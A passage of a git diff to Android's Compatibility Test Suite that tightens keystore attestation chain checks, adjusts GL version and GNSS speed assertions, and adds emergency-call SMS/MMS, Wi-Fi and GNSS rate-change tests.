+ return new Pair<>(
+ Integer.parseInt(matcher.group(1)), Integer.parseInt(matcher.group(2)));
}
- return 2;
+ return new Pair<>(2, 0);
}
static String[] getExtensions() {
diff --git a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
index 5ea845a..6276959 100644
--- a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
@@ -24,6 +24,7 @@
import android.opengl.EGLSurface;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.util.Pair;
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -70,8 +71,10 @@
}, 0);
EGL14.eglMakeCurrent(eglDisplay, eglSurface, eglSurface, eglContext);
- sHasFloatBuffers = GlUtils.getMajorVersion() >= 3 ||
- GlUtils.hasExtensions("GL_OES_texture_half_float",
+ Pair<Integer, Integer> version = GlUtils.getVersion();
+ sHasFloatBuffers = (version.first >= 3 && version.second >= 2) ||
+ GlUtils.hasExtensions(
+ "GL_OES_texture_half_float",
"GL_OES_texture_half_float_linear");
EGL14.eglMakeCurrent(eglDisplay, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index d901690..0342f08 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -62,6 +62,9 @@
import android.test.AndroidTestCase;
import android.util.ArraySet;
+import com.android.org.bouncycastle.asn1.x500.X500Name;
+import com.android.org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
+
import java.security.GeneralSecurityException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
@@ -70,6 +73,7 @@
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.ProviderException;
+import java.security.PublicKey;
import java.security.SignatureException;
import java.security.cert.Certificate;
import java.security.cert.CertificateException;
@@ -422,7 +426,7 @@
try {
Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
- verifyCertificateSignatures(certificates);
+ verifyCertificateChain(certificates);
X509Certificate attestationCert = (X509Certificate) certificates[0];
Attestation attestation = new Attestation(attestationCert);
@@ -476,7 +480,7 @@
try {
Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
- verifyCertificateSignatures(certificates);
+ verifyCertificateChain(certificates);
X509Certificate attestationCert = (X509Certificate) certificates[0];
Attestation attestation = new Attestation(attestationCert);
@@ -876,12 +880,36 @@
keyPairGenerator.generateKeyPair();
}
- private void verifyCertificateSignatures(Certificate[] certChain)
+ private void verifyCertificateChain(Certificate[] certChain)
throws GeneralSecurityException {
assertNotNull(certChain);
for (int i = 1; i < certChain.length; ++i) {
try {
- certChain[i - 1].verify(certChain[i].getPublicKey());
+ PublicKey pubKey = certChain[i].getPublicKey();
+ certChain[i - 1].verify(pubKey);
+ if (i == certChain.length - 1) {
+ // Last cert should be self-signed.
+ certChain[i].verify(pubKey);
+ }
+
+ // Check that issuer in the signed cert matches subject in the signing cert.
+ X509Certificate x509CurrCert = (X509Certificate) certChain[i];
+ X509Certificate x509PrevCert = (X509Certificate) certChain[i - 1];
+ X500Name signingCertSubject =
+ new JcaX509CertificateHolder(x509CurrCert).getSubject();
+ X500Name signedCertIssuer =
+ new JcaX509CertificateHolder(x509PrevCert).getIssuer();
+ // Use .toASN1Object().equals() rather than .equals() because .equals() is case
+ // insensitive, and we want to verify an exact match.
+ assertTrue(
+ signedCertIssuer.toASN1Object().equals(signingCertSubject.toASN1Object()));
+
+ if (i == 1) {
+ // First cert should have subject "CN=Android Keystore Key".
+ X500Name signedCertSubject =
+ new JcaX509CertificateHolder(x509PrevCert).getSubject();
+ assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key"));
+ }
} catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException
| NoSuchProviderException | SignatureException e) {
throw new GeneralSecurityException("Failed to verify certificate "
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index a0b8142..b6cb20d 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -26,6 +26,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_JAVA_LIBRARIES := telephony-common
+
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util ctstestrunner apache-commons-math
@@ -50,6 +52,8 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_JAVA_LIBRARIES := telephony-common
+
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner apache-commons-math
LOCAL_PROTOC_OPTIMIZE_TYPE := nano
diff --git a/tests/tests/location/AndroidManifest.xml b/tests/tests/location/AndroidManifest.xml
index 1357a38..6e3bbf1 100644
--- a/tests/tests/location/AndroidManifest.xml
+++ b/tests/tests/location/AndroidManifest.xml
@@ -28,9 +28,15 @@
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
- <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />>
+ <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+ <uses-permission android:name="android.permission.READ_SMS"/>
+ <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+ <uses-permission android:name="android.permission.SEND_SMS" />
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.location.cts"
android:label="CTS tests of android.location">
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
new file mode 100644
index 0000000..d7dbc89
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
@@ -0,0 +1,333 @@
+package android.location.cts;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.telephony.SmsManager;
+import android.telephony.TelephonyManager;
+import android.test.AndroidTestCase;
+import android.text.TextUtils;
+import android.util.Log;
+
+import com.google.android.mms.ContentType;
+import com.google.android.mms.InvalidHeaderValueException;
+import com.google.android.mms.pdu.CharacterSets;
+import com.google.android.mms.pdu.EncodedStringValue;
+import com.google.android.mms.pdu.GenericPdu;
+import com.google.android.mms.pdu.PduBody;
+import com.google.android.mms.pdu.PduComposer;
+import com.google.android.mms.pdu.PduHeaders;
+import com.google.android.mms.pdu.PduParser;
+import com.google.android.mms.pdu.PduPart;
+import com.google.android.mms.pdu.SendConf;
+import com.google.android.mms.pdu.SendReq;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test sending SMS and MMS using {@link android.telephony.SmsManager}.
+ */
+public class EmergencyCallMessageTest extends GnssTestCase {
+
+ private static final String TAG = "EmergencyCallMSGTest";
+
+ private static final String ACTION_MMS_SENT = "CTS_MMS_SENT_ACTION";
+ private static final long DEFAULT_EXPIRY_TIME_SECS = TimeUnit.DAYS.toSeconds(7);
+ private static final long MMS_CONFIG_DELAY_MILLIS = TimeUnit.SECONDS.toMillis(1);
+ private static final int DEFAULT_PRIORITY = PduHeaders.PRIORITY_NORMAL;
+ private static final short DEFAULT_DATA_SMS_PORT = 8091;
+ private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
+ private static final String SUBJECT = "CTS Emergency Call MMS Test";
+ private static final String MMS_MESSAGE_BODY = "CTS Emergency Call MMS test message body";
+ private static final String SMS_MESSAGE_BODY = "CTS Emergency Call Sms test message body";
+ private static final String SMS_DATA_MESSAGE_BODY =
+ "CTS Emergency Call Sms data test message body";
+ private static final String TEXT_PART_FILENAME = "text_0.txt";
+ private static final String SMIL_TEXT =
+ "<smil>" +
+ "<head>" +
+ "<layout>" +
+ "<root-layout/>" +
+ "<region height=\"100%%\" id=\"Text\" left=\"0%%\" top=\"0%%\" width=\"100%%\"/>" +
+ "</layout>" +
+ "</head>" +
+ "<body>" +
+ "<par dur=\"8000ms\">" +
+ "<text src=\"%s\" region=\"Text\"/>" +
+ "</par>" +
+ "</body>" +
+ "</smil>";
+
+ private static final long SENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5); // 5 minutes
+
+ private static final String PROVIDER_AUTHORITY = "emergencycallverifier";
+
+ private Random mRandom;
+ private SentReceiver mSentReceiver;
+ private TelephonyManager mTelephonyManager;
+ private PackageManager mPackageManager;
+
+ private static class SentReceiver extends BroadcastReceiver {
+ private boolean mSuccess;
+ private boolean mDone;
+ private final CountDownLatch mLatch;
+ public SentReceiver() {
+ mLatch = new CountDownLatch(1);
+ mSuccess = false;
+ mDone = false;
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Action " + intent.getAction());
+ if (!ACTION_MMS_SENT.equals(intent.getAction())) {
+ return;
+ }
+ final int resultCode = getResultCode();
+ if (resultCode == Activity.RESULT_OK) {
+ final byte[] response = intent.getByteArrayExtra(SmsManager.EXTRA_MMS_DATA);
+ if (response != null) {
+ final GenericPdu pdu = new PduParser(
+ response, shouldParseContentDisposition()).parse();
+ if (pdu != null && pdu instanceof SendConf) {
+ final SendConf sendConf = (SendConf) pdu;
+ if (sendConf.getResponseStatus() == PduHeaders.RESPONSE_STATUS_OK) {
+ mSuccess = true;
+ } else {
+ Log.e(TAG, "SendConf response status=" + sendConf.getResponseStatus());
+ }
+ } else {
+ Log.e(TAG, "Not a SendConf: " +
+ (pdu != null ? pdu.getClass().getCanonicalName() : "NULL"));
+ }
+ } else {
+ Log.e(TAG, "Empty response");
+ }
+ } else {
+ Log.e(TAG, "Failure result=" + resultCode);
+ if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
+ final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
+ Log.e(TAG, "HTTP failure=" + httpError);
+ }
+ }
+ mDone = true;
+ mLatch.countDown();
+ }
+
+ public boolean waitForSuccess(long timeoutMs) throws Exception {
+ mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+ Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
+ return mDone && mSuccess;
+ }
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mRandom = new Random(System.currentTimeMillis());
+ mTelephonyManager =
+ (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+ mPackageManager = mContext.getPackageManager();
+ }
+
+ public void testSendSmsMessage() {
+ // this test is only for cts verifier
+ if (!isCtsVerifierTest()) {
+ return;
+ }
+ SmsManager smsManager = SmsManager.getDefault();
+ final String selfNumber = getPhoneNumber(mContext);
+ smsManager.sendTextMessage(selfNumber, null, SMS_MESSAGE_BODY, null, null);
+ }
+
+ public void testSendSmsDataMessage() {
+ // this test is only for cts verifier
+ if (!isCtsVerifierTest()) {
+ return;
+ }
+ SmsManager smsManager = SmsManager.getDefault();
+ final String selfNumber = getPhoneNumber(mContext);
+ smsManager.sendDataMessage(selfNumber, null, DEFAULT_DATA_SMS_PORT,
+ SMS_DATA_MESSAGE_BODY.getBytes(), null, null);
+ }
+
+ public void testSendMmsMessage() throws Exception {
+ // this test is only for cts verifier
+ if (!isCtsVerifierTest()) {
+ return;
+ }
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+ || !doesSupportMMS()) {
+ Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
+ return;
+ }
+
+ Log.i(TAG, "testSendMmsMessage");
+ // Prime the MmsService so that MMS config is loaded
+ final SmsManager smsManager = SmsManager.getDefault();
+ // MMS config is loaded asynchronously. Wait a bit so it will be loaded.
+ try {
+ Thread.sleep(MMS_CONFIG_DELAY_MILLIS);
+ } catch (InterruptedException e) {
+ // Ignore
+ }
+
+ final Context context = getContext();
+ // Register sent receiver
+ mSentReceiver = new SentReceiver();
+ context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
+ // Create local provider file for sending PDU
+ final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
+ final File sendFile = new File(context.getCacheDir(), fileName);
+ final String selfNumber = getPhoneNumber(context);
+ assertTrue(!TextUtils.isEmpty(selfNumber));
+ final byte[] pdu = buildPdu(context, selfNumber, SUBJECT, MMS_MESSAGE_BODY);
+ assertNotNull(pdu);
+ assertTrue(writePdu(sendFile, pdu));
+ final Uri contentUri = (new Uri.Builder())
+ .authority(PROVIDER_AUTHORITY)
+ .path(fileName)
+ .scheme(ContentResolver.SCHEME_CONTENT)
+ .build();
+ // Send
+ final PendingIntent pendingIntent = PendingIntent.getBroadcast(
+ context, 0, new Intent(ACTION_MMS_SENT), 0);
+ smsManager.sendMultimediaMessage(context,
+ contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
+ assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT_MILLIS));
+ sendFile.delete();
+ }
+
+ private static boolean writePdu(File file, byte[] pdu) {
+ FileOutputStream writer = null;
+ try {
+ writer = new FileOutputStream(file);
+ writer.write(pdu);
+ return true;
+ } catch (final IOException e) {
+ String stackTrace = Log.getStackTraceString(e);
+ Log.i(TAG, stackTrace);
+ return false;
+ } finally {
+ if (writer != null) {
+ try {
+ writer.close();
+ } catch (IOException e) {
+ }
+ }
+ }
+ }
+
+ private static byte[] buildPdu(Context context, String selfNumber, String subject,
+ String text) {
+ final SendReq req = new SendReq();
+ // From, per spec
+ req.setFrom(new EncodedStringValue(selfNumber));
+ // To
+ final String[] recipients = new String[1];
+ recipients[0] = selfNumber;
+ final EncodedStringValue[] encodedNumbers = EncodedStringValue.encodeStrings(recipients);
+ if (encodedNumbers != null) {
+ req.setTo(encodedNumbers);
+ }
+ // Subject
+ if (!TextUtils.isEmpty(subject)) {
+ req.setSubject(new EncodedStringValue(subject));
+ }
+ // Date
+ req.setDate(System.currentTimeMillis() / 1000);
+ // Body
+ final PduBody body = new PduBody();
+ // Add text part. Always add a smil part for compatibility, without it there
+ // may be issues on some carriers/client apps
+ final int size = addTextPart(body, text, true/* add text smil */);
+ req.setBody(body);
+ // Message size
+ req.setMessageSize(size);
+ // Message class
+ req.setMessageClass(PduHeaders.MESSAGE_CLASS_PERSONAL_STR.getBytes());
+ // Expiry
+ req.setExpiry(DEFAULT_EXPIRY_TIME_SECS);
+ // The following set methods throw InvalidHeaderValueException
+ try {
+ // Priority
+ req.setPriority(DEFAULT_PRIORITY);
+ // Delivery report
+ req.setDeliveryReport(PduHeaders.VALUE_NO);
+ // Read report
+ req.setReadReport(PduHeaders.VALUE_NO);
+ } catch (InvalidHeaderValueException e) {
+ return null;
+ }
+
+ return new PduComposer(context, req).make();
+ }
+
+ private static int addTextPart(PduBody pb, String message, boolean addTextSmil) {
+ final PduPart part = new PduPart();
+ // Set Charset if it's a text media.
+ part.setCharset(CharacterSets.UTF_8);
+ // Set Content-Type.
+ part.setContentType(ContentType.TEXT_PLAIN.getBytes());
+ // Set Content-Location.
+ part.setContentLocation(TEXT_PART_FILENAME.getBytes());
+ int index = TEXT_PART_FILENAME.lastIndexOf(".");
+ String contentId = (index == -1) ? TEXT_PART_FILENAME
+ : TEXT_PART_FILENAME.substring(0, index);
+ part.setContentId(contentId.getBytes());
+ part.setData(message.getBytes());
+ pb.addPart(part);
+ if (addTextSmil) {
+ final String smil = String.format(SMIL_TEXT, TEXT_PART_FILENAME);
+ addSmilPart(pb, smil);
+ }
+ return part.getData().length;
+ }
+
+ private static void addSmilPart(PduBody pb, String smil) {
+ final PduPart smilPart = new PduPart();
+ smilPart.setContentId("smil".getBytes());
+ smilPart.setContentLocation("smil.xml".getBytes());
+ smilPart.setContentType(ContentType.APP_SMIL.getBytes());
+ smilPart.setData(smil.getBytes());
+ pb.addPart(0, smilPart);
+ }
+
+ private static String getPhoneNumber(Context context) {
+ final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(
+ Context.TELEPHONY_SERVICE);
+ String phoneNumber = telephonyManager.getLine1Number();
+ if (phoneNumber.trim().isEmpty()) {
+ phoneNumber = System.getProperty(PHONE_NUMBER_KEY);
+ }
+ return phoneNumber;
+ }
+
+ private static boolean shouldParseContentDisposition() {
+ return SmsManager
+ .getDefault()
+ .getCarrierConfigValues()
+ .getBoolean(SmsManager.MMS_CONFIG_SUPPORT_MMS_CONTENT_DISPOSITION, true);
+ }
+
+ private static boolean doesSupportMMS() {
+ return SmsManager
+ .getDefault()
+ .getCarrierConfigValues()
+ .getBoolean(SmsManager.MMS_CONFIG_MMS_ENABLED, true);
+ }
+
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
new file mode 100644
index 0000000..7ebb04a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiInfo;
+import android.telephony.TelephonyManager;
+import android.net.wifi.WifiManager;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * This class is used to test Wifi realted features.
+ */
+public class EmergencyCallWifiTest extends GnssTestCase {
+
+ private final static String TAG = EmergencyCallWifiTest.class.getCanonicalName();
+ private final static String LATCH_NAME = "EmergencyCallWifiTest";
+ private final static String GOOGLE_URL = "www.google.com";
+ private final static int WEB_PORT = 80;
+ private static final int BATCH_SCAN_BSSID_LIMIT = 25;
+ private static final int WIFI_SCAN_TIMEOUT_SEC = 30;
+ private static final long SETTINGS_PERIOD_MS = TimeUnit.SECONDS.toMillis(4);
+ private static final long INTERNET_CONNECTION_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+ private static final int MIN_SCAN_COUNT = 1;
+
+ private WifiManager mWifiManager;
+ private Context mContext;
+ private WifiScanReceiver mWifiScanReceiver;
+ private int mScanCounter = 0;
+ private CountDownLatch mLatch;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mContext = getContext();
+ mWifiManager = (WifiManager) mContext.getSystemService(mContext.WIFI_SERVICE);
+ mWifiScanReceiver = new WifiScanReceiver();
+ }
+
+ public void testWifiScan() throws Exception {
+ mContext.registerReceiver(mWifiScanReceiver, new IntentFilter(
+ WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
+ mLatch = new CountDownLatch(1);
+ mWifiManager.startScan();
+ Log.d(TAG, "Waiting for wifiScan to complete.");
+ mLatch.await(WIFI_SCAN_TIMEOUT_SEC, TimeUnit.SECONDS);
+ if (mScanCounter < MIN_SCAN_COUNT) {
+ fail(String.format("Expected at least %d scans but only %d scans happened",
+ MIN_SCAN_COUNT, mScanCounter));
+ }
+ }
+
+ public void testWifiConnection() {
+ boolean isReachable =
+ isReachable(GOOGLE_URL, WEB_PORT, (int)INTERNET_CONNECTION_TIMEOUT);
+ assertTrue("Can not connect to google.com."
+ + " Please make sure device has the internet connection", isReachable);
+ }
+
+ private static boolean isReachable(String addr, int openPort, int timeOutMillis) {
+ try {
+ try (Socket soc = new Socket()) {
+ soc.connect(new InetSocketAddress(addr, openPort), timeOutMillis);
+ }
+ return true;
+ } catch (IOException ex) {
+ return false;
+ }
+ }
+
+ private class WifiScanReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context c, Intent intent) {
+ List <ScanResult> scanResults = mWifiManager.getScanResults();
+ Log.d(TAG, String.format("Got scan results with size %d", scanResults.size()));
+ for (ScanResult result : scanResults) {
+ Log.d(TAG, result.toString());
+ }
+ mScanCounter++;
+ mLatch.countDown();
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
new file mode 100644
index 0000000..cd230d5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+/**
+ * Test the "gps" location output works through various rate changes
+ *
+ * Tests:
+ * 1. Toggle through various rates.
+ * 2. Mix toggling through various rates with start & stop.
+ *
+ * Inspired by bugs 65246279, 65425110
+ */
+
+public class GnssLocationRateChangeTest extends GnssTestCase {
+
+ private static final String TAG = "GnssLocationRateChangeTest";
+ private static final int LOCATION_TO_COLLECT_COUNT = 1;
+
+ private TestLocationListener mLocationListenerMain;
+ private TestLocationListener mLocationListenerAfterRateChanges;
+ // Various rates, where underlying GNSS hardware states may enter different modes
+ private static final int[] TBF_MSEC = {0, 4_000, 250_000, 6_000_000, 10, 1_000, 16_000, 64_000};
+ private static final int LOOPS_FOR_STRESS_TEST = 20;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mTestLocationManager = new TestLocationManager(getContext());
+ // Using separate listeners, so the await trigger for the after-rate-changes listener is
+ // independent of any possible locations that flow during setup, and rate change stress
+ // testing
+ mLocationListenerMain = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mLocationListenerAfterRateChanges = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListenerMain != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+ }
+ if (mLocationListenerAfterRateChanges != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListenerAfterRateChanges);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Requests (GPS) Locations at various rates that may stress the underlying GNSS software
+ * and firmware state machine layers, ensuring Location output
+ * remains responsive after all is done.
+ */
+ public void testVariedRates() throws Exception {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+ softAssert.assertTrue("Location should be received at test start",
+ mLocationListenerMain.await());
+
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ }
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+
+ mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+ softAssert.assertTrue("Location should be received at test end",
+ mLocationListenerAfterRateChanges.await());
+
+ softAssert.assertAll();
+ }
+
+ /**
+ * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+ * that may stress the underlying GNSS software
+ * and firmware state machine layers, ensuring Location output remains responsive
+ * after all is done.
+ */
+ public void testVariedRatesOnOff() throws Exception {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+ softAssert.assertTrue("Location should be received at test start",
+ mLocationListenerMain.await());
+
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ // Also flip the requests on and off quickly
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+ }
+
+ mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+ softAssert.assertTrue("Location should be received at test end",
+ mLocationListenerAfterRateChanges.await());
+
+ softAssert.assertAll();
+ }
+
+ /**
+ * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+ * in multiple loops to provide additional stress to the underlying GNSS software
+ * and firmware state machine layers, ensuring Location output remains responsive
+ * after all is done.
+ */
+ public void testVariedRatesRepetitive() throws Exception {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+ softAssert.assertTrue("Location should be received at test start",
+ mLocationListenerMain.await());
+
+ // Two loops, first without removes, then with removes
+ for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ }
+ }
+ for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ // Also flip the requests on and off quickly
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+ }
+ }
+
+ mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+ softAssert.assertTrue("Location should be received at test end",
+ mLocationListenerAfterRateChanges.await());
+
+ softAssert.assertAll();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
index 3411914..d2499a0 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -16,9 +16,7 @@
package android.location.cts;
-import android.location.Criteria;
import android.location.Location;
-import android.location.LocationManager;
import android.util.Log;
/**
@@ -133,14 +131,18 @@
success);
SoftAssert softAssert = new SoftAssert(TAG);
+ // don't check speed of first GNSS location - it may not be ready in some cases
+ boolean checkSpeed = false;
for (Location location : mLocationListener.getReceivedLocationList()) {
- checkLocationRegularFields(softAssert, location);
+ checkLocationRegularFields(softAssert, location, checkSpeed);
+ checkSpeed = true;
}
softAssert.assertAll();
}
- public static void checkLocationRegularFields(SoftAssert softAssert, Location location) {
+ public static void checkLocationRegularFields(SoftAssert softAssert, Location location,
+ boolean checkSpeed) {
// For the altitude: the unit is meter
// The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
// Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
@@ -177,13 +179,16 @@
softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
location.getLatitude() >= -90 && location.getLatitude() <= 90);
- softAssert.assertTrue("All GNSS locations generated by the LocationManager "
- + "must have speeds.", location.hasSpeed());
+ if (checkSpeed) {
+ softAssert.assertTrue("All but the first GNSS location from LocationManager "
+ + "must have speeds.", location.hasSpeed());
+ }
- // For the speed, during the cts test device shouldn't move faster than 1m/s
+ // For the speed, during the cts test device shouldn't move faster than 1m/s, but allowing up
+ // to 5m/s for possible early fix noise in moderate signal test environments
if(location.hasSpeed()) {
- softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 1] m/s",
- location.getSpeed() >= 0 && location.getSpeed() <= 1);
+ softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 5] m/s",
+ location.getSpeed() >= 0 && location.getSpeed() <= 5);
}
}
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index ec78ea3..d86d612 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -39,7 +39,7 @@
private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
private static final int MIN_SATELLITES_REQUIREMENT = 4;
private static final double SECONDS_PER_NANO = 1.0e-9;
- private static final double POSITION_THRESHOLD_IN_DEGREES = 0.003; // degrees (~= 300 meters)
+
// GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in time
// is 65-83 ms, which is 18 ms range.
// GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
@@ -58,6 +58,12 @@
// that are the short end of the range.
private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
